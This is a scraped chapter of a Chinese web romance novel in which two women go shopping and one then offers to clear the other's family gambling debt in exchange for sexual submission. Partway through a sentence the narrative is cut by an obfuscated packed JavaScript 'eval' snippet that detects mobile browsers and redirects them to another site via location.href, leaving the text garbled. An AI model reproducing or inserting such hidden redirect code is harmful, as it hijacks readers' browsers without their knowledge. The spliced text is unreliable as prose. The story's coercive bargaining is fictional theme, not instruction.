默认冷灰
24号文字
方正启体

14.第 14 章

作者:同心难改的胡耀耀本书字数:K更新时间:
    大抵是暑假的原因,就算烈日当头,步行街依旧是人头撰动的景象。


    程桑落脑袋烧得嗡嗡作响,额上渗满了细密的冷汗,太阳穴越发的跳疼。


    这人的脾气已经不能用倔来形容,都快病入膏肓了,还是只字不提发烧的事。


    一个小女孩蹦蹦跳跳的从她身边经过,手里高高举着麦记甜筒。


    她瞅着冰激凌咽了口唾沫,快烧冒烟的喉咙袭来喇嗓的疼,脑子里却蹦出俩字:想吃。


    林锦顺着她的目光看去,玩味的笑:“你是小朋友吗?”


    程桑落四处张望麦记的门店,犯嘀咕:“哪条规定成年人不能吃甜筒?”


    等走到售卖区,她摸出裤兜里的零钱,没理会第二个半价的活动。


    林锦抱臂站在一旁,啧嘴:“抠搜的小气鬼。”


    程桑落整理手中皱巴巴的纸币,一副鬼见愁的表情:“拜托,你都能买下这个店了,还图我请客?”


    林锦眼神哀怨,张口闭口就那两个字,“小气。”


    她图的是一个冰激凌吗?只是觉得在小狗心里,自己连个半价打折货都算不上,整个人怨气冲天。


    程桑落也没想到疯女人会执着于甜筒,反倒成了哄人的角色,“别这么盯着我,请你还不行?”


    她百般不情愿,但还是在窗口补上了半价。


    等拿到心心念念的甜筒,她一改平日紧绷的模样,吧唧吧唧舔着奶球,送上另一支,“喏,吃吧。”


    “这还差不多。”林锦倨傲的接过,小小尝上一口,嫌那甜腻的味道过于低廉,只想立马扔掉。


    可赏着小狗满足的表情,回味又变得不太一样。


    从某种层面上来说,程桑落就像这一支甜筒,廉价、奶甜、适口的薄脆,拼凑出简单快乐的本味。


    “化了化了。”程桑落将纸巾塞到林锦的手里,“甜筒都不会吃吗?”


    林锦笑眯了眸,一边擦手一边打趣:“你好容易被满足啊。”


    程桑落无所谓道:“容易被满足是好事,有野心的人会活得很累。”


    林锦虚眸:“你在含沙射影我?”


    小狗咂咂嘴:“诶!此地无银三百两。”


    二人并肩走在商场里,有一搭没一搭的聊着,真是难得一见的和谐。


    吃了没一会儿,林锦把剩下的蛋筒送到小狗面前,“吃不完了,你吃。”


    小狗炸毛:“我又不是垃圾桶!”


    “你不是最讨厌浪费吗?”林锦阴阳怪气的模仿,“你知不知道这个世界每天都有很多人是饿死的?”


    “学我?”程桑落负气夺走蛋筒塞进嘴里,嘎吱嘎吱的咀嚼,“下不为例。”


    林锦喜欢小狗吃自己剩下的东西,有种主人投喂的满足感,甚至想摸摸她毛绒绒的脑袋,不禁逗着:“下次还敢。”


    程桑落白了她一眼,寻思这人毛病多如牛毛,果然还是不能和平共处。


    林锦遛着‘小狗’,忽而拐进一家奢侈品时装店。


    她前脚刚踏进,销售便笑脸迎了上来。


    林锦赶在对方开口前,发问:“有适合她的吗?”


    销售看向一身寒酸的程桑落,干笑:“有的,是需要出席正式场合,还是日常穿搭?”


    “都要。”林锦言简意赅,随手撩起一件衬衫端详样式。


    程桑落受不了店里过于甜腻的气息,那味道齁得嗓子眼难受。


    她再是不懂时尚也见过这牌子的logo,不用看吊牌,都知道价格在惊讶之外。


    她像个游魂飘到林锦身后,怨着:“我不要,太贵了。”


    林锦本想无视,却还是耐心的劝:“人靠衣装,体体面面的打扮不好么?”


    “那也得量力而行,你觉得我穿这种衣服合适吗?穿着它们去搬砖,还是去高空作业,又或者去端盘子洗碗?”程桑落执拗,转头就往门外走。


    林锦疾步跟了出去,“从你出狱那天起就穿着这件T恤,它都嫌累了,你不嫌旧?”


    “能穿就行,有什么好嫌的?”程桑落脸上无所谓,但拈着衣摆的手默默蜷紧。


    没有人不想过上锦衣玉食的生活,她也会畅想,可捉襟见肘的日子就是这样,不是被疯女人端了饭碗,就是突如其来的家庭欠债。


    什么是奢侈?


    对程桑落而言,今天吃的甜筒是奢侈,不愿去买的退烧药是奢侈,所以买新衣服也成了奢侈。


    林锦看穿她的窘迫,脑子里晃过那偷吃剩菜的场景,心底闷着一口气,想喘却喘不出来。


    她软了语气:“那我们去逛打折的衣服,一身不超过1000块,就当是你请吃甜筒的回礼。”


    这理由牵强的让人觉得好笑。


    程桑落沉默,盘算一千块能买多少个甜筒,笑得有些尴尬:“犯不着这么刻意...”


    她委婉拒绝,态度前所未有的好,可话还没说完就被林锦瞪了回去。


    “你答应过今天会听我的话。”林锦习惯性勾住小狗的衣摆往前走,“所以你要听话。”


    “也别比着那么多钱买,能便宜就便宜点,钱又不是大风刮来的...”程桑落不情愿的尾随步伐,嘟哝着:“还是那句话,你没理由对我这么好,没理由的...”


    林锦朝她踱进一步,抬头去迎那高出大半个脑袋的眸,“我记得你说过,没有人会无缘无故对陌生人好。”


    “你想表达什么?”


    “所以我不会平白无故对你好,是吧?”林锦以问制问,没有说明缘由,又好似给了答案。


    程桑落挠挠脑袋,琢磨这段奇奇怪怪的对话,可又寻不出什么破绽。


    二人刚好走到一家休闲服装店门口。


    林锦挑眉:“大概你会满意这里的衣服。”


    程桑落放眼望去,量贩式的大卖场一眼望不到头,衣服样式不重要,重要的是随处可见硕大的5折标牌。


    她双眼放光,走到展柜前东摸摸西摸摸,“可以呀,全棉的。”


    她下意识的翻看吊牌,在心里算着折后价,觉得在承受范围内,才将T恤比在身前供林锦参考,“怎么样?”


    林锦嫌弃,“丑。”


    小狗又抓起一件,“这件呢?”


    “更丑。”


    “那这件呢?”


    林锦对印花T恤的评价停留在小学生层面,所以揉着眉心吐槽:“丑到没什么好形容。”


    “说来说去都是丑,你真挑剔!”程桑落骂骂咧咧,干脆转身离开。


    林锦几乎是以拥抱方式将她拦住,嗔怪:“你的审美跟你这人一样,乱糟糟!我挑什么你穿什么,不许拒绝,不许反驳,不许计较价钱。”


    “我哪里乱糟糟了?”程桑落一脸不爽,但还是默许了疯女人的示好。


    *


    今晚的饭局是舒莞做东,餐厅订在古色古香的趸船上。


    在盛夏时节,这里最适合客人赏海上明月,消费标准自然奢昂。


    程桑落穿了林锦搭配的牛仔衬衫,还有卡其色短裤,整个人看上去清爽了许多。


    被折腾了一整天,她的精神越发萎靡,这会正扒拉在车窗边,靠吹风来提神醒脑。


    等迈巴赫停在港口,她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613944|172087||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摇摇晃晃走下车,趁着林锦不注意,揉着额心缓解不适感。


    “程小姐?”


    程桑落循声望去,舒莞正歪着脑袋眉眼含笑,大概是在意外今晚的局竟会有惊喜。


    她仍是一身素白色的连衣裙,和身后火红的法拉利有些搭不上调。


    程桑落礼貌微笑,还没来得及开口问候,便被身后人暗暗扯了一把。


    “但凡你待我像对他人那般客气,也不会吃那么多苦头。”林锦语气阴郁,眸光钉在舒莞脸上,藏着深深的敌意。


    事实上,二人不能算作朋友,甚至存在商业竞争关系,但碍于顾时念是中间人,每每有局都得一视同仁的约上。


    像她们这类站在塔尖的人,即使相看不顺眼也得做足表面功夫,饭局不只是吃饭那么简单,觥筹交错里满是经商之道,随随便便几句对话,都会影响第二天的金融行情。


    这便是林锦不得不赴约的缘由。


    程桑落皱了皱鼻子,“我对你的态度已经够好了,要是换做别人,哪会儿乖乖听话?”


    林锦也觉得小狗今天异常乖顺,便换了话题:“看在你今天表现不错的份上,我就勉为其难的解释你想知道的第二个问题。”


    终于舍得回归主题,程桑落沉声催促:“快说。”


    “你哥滥赌已经不是一两天的事,那会儿你刚入狱,许颂珩设计让他进了地下赌场,由头是你的退役金赔给了受害者,想要再搞老婆本,只有这种办法来钱快。


    起初是几千块的输赢,你哥尝到甜头便越赌越狠,再后来把你家的房子给赔了进去,才勉强收了手。


    你出狱那天打了许颂珩的人,他稍稍使了点报复手段,便让你哥重新染了赌瘾,不过几天的功夫,欠的赌债利滚利就成了三百万。”


    林锦解释来龙去脉的模样很认真,这些信息正是今天盛鹤在办公室里递交的资料内容。


    程桑落只在心里盘了盘时间线,便明白疯女人没有撒谎。


    她嫉恨程星从小受宠,但也觉得自己是这场恶果的祸端,心里有些不是滋味。


    若不是当初撞到许颂珩行凶,她非要站出来报警指证,也许程家人不会落到今天这个地步。


    林锦瞧着陷入沉默的程桑落,即使那俊气的脸庞不显情绪,但她还是能看出小狗在自责。


    她展开胳膊轻轻环住小狗的腰,柔声安慰着:“程桑落,这不是你的错,错在加害你的人,还有贪婪愚笨的人。”


    程桑落眨动疲惫的眸,迅速整理情绪后,抛出了最后的问题:“你觉得这件事该怎么做,才能完美的解决呢?”


    程桑落并不是心软,哥哥欠下的三百万,完全可以不管不顾的躲掉。


    可许颂珩是命里的毒瘤,一天不铲掉就会变着法子加害她。


    这个道理早在泳池派对时,林锦就用实际行动教育过她。


    当然,林锦不会一次性把驯服小狗的底牌全盘托出,她必先是狡诈的商人,才能是温柔的掌控者。


    她盯着程桑落认真求问的眼睛,再次浮起那令人厌恶的笑容,充斥着求利者冷血又残酷的笑。


    “其实你早就知道,许颂珩制造的麻烦只有我能帮你解决,可我是商人,需要对等的利益交换。幸福三选一吧,今晚跟我回家,至于怎么玩我说了算、或者让我灌你三瓶酒,把你灌醉了结果还是任由我摆布、再或者...”林锦顿了嗓,伸手抚摸小狗的发梢:“在我的床上讨好我,是你命中注定的事。”


    程桑落的心凉透,原来林锦织造的温柔皆是假象。


    兜兜转转一大圈,一切又回到了原点。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)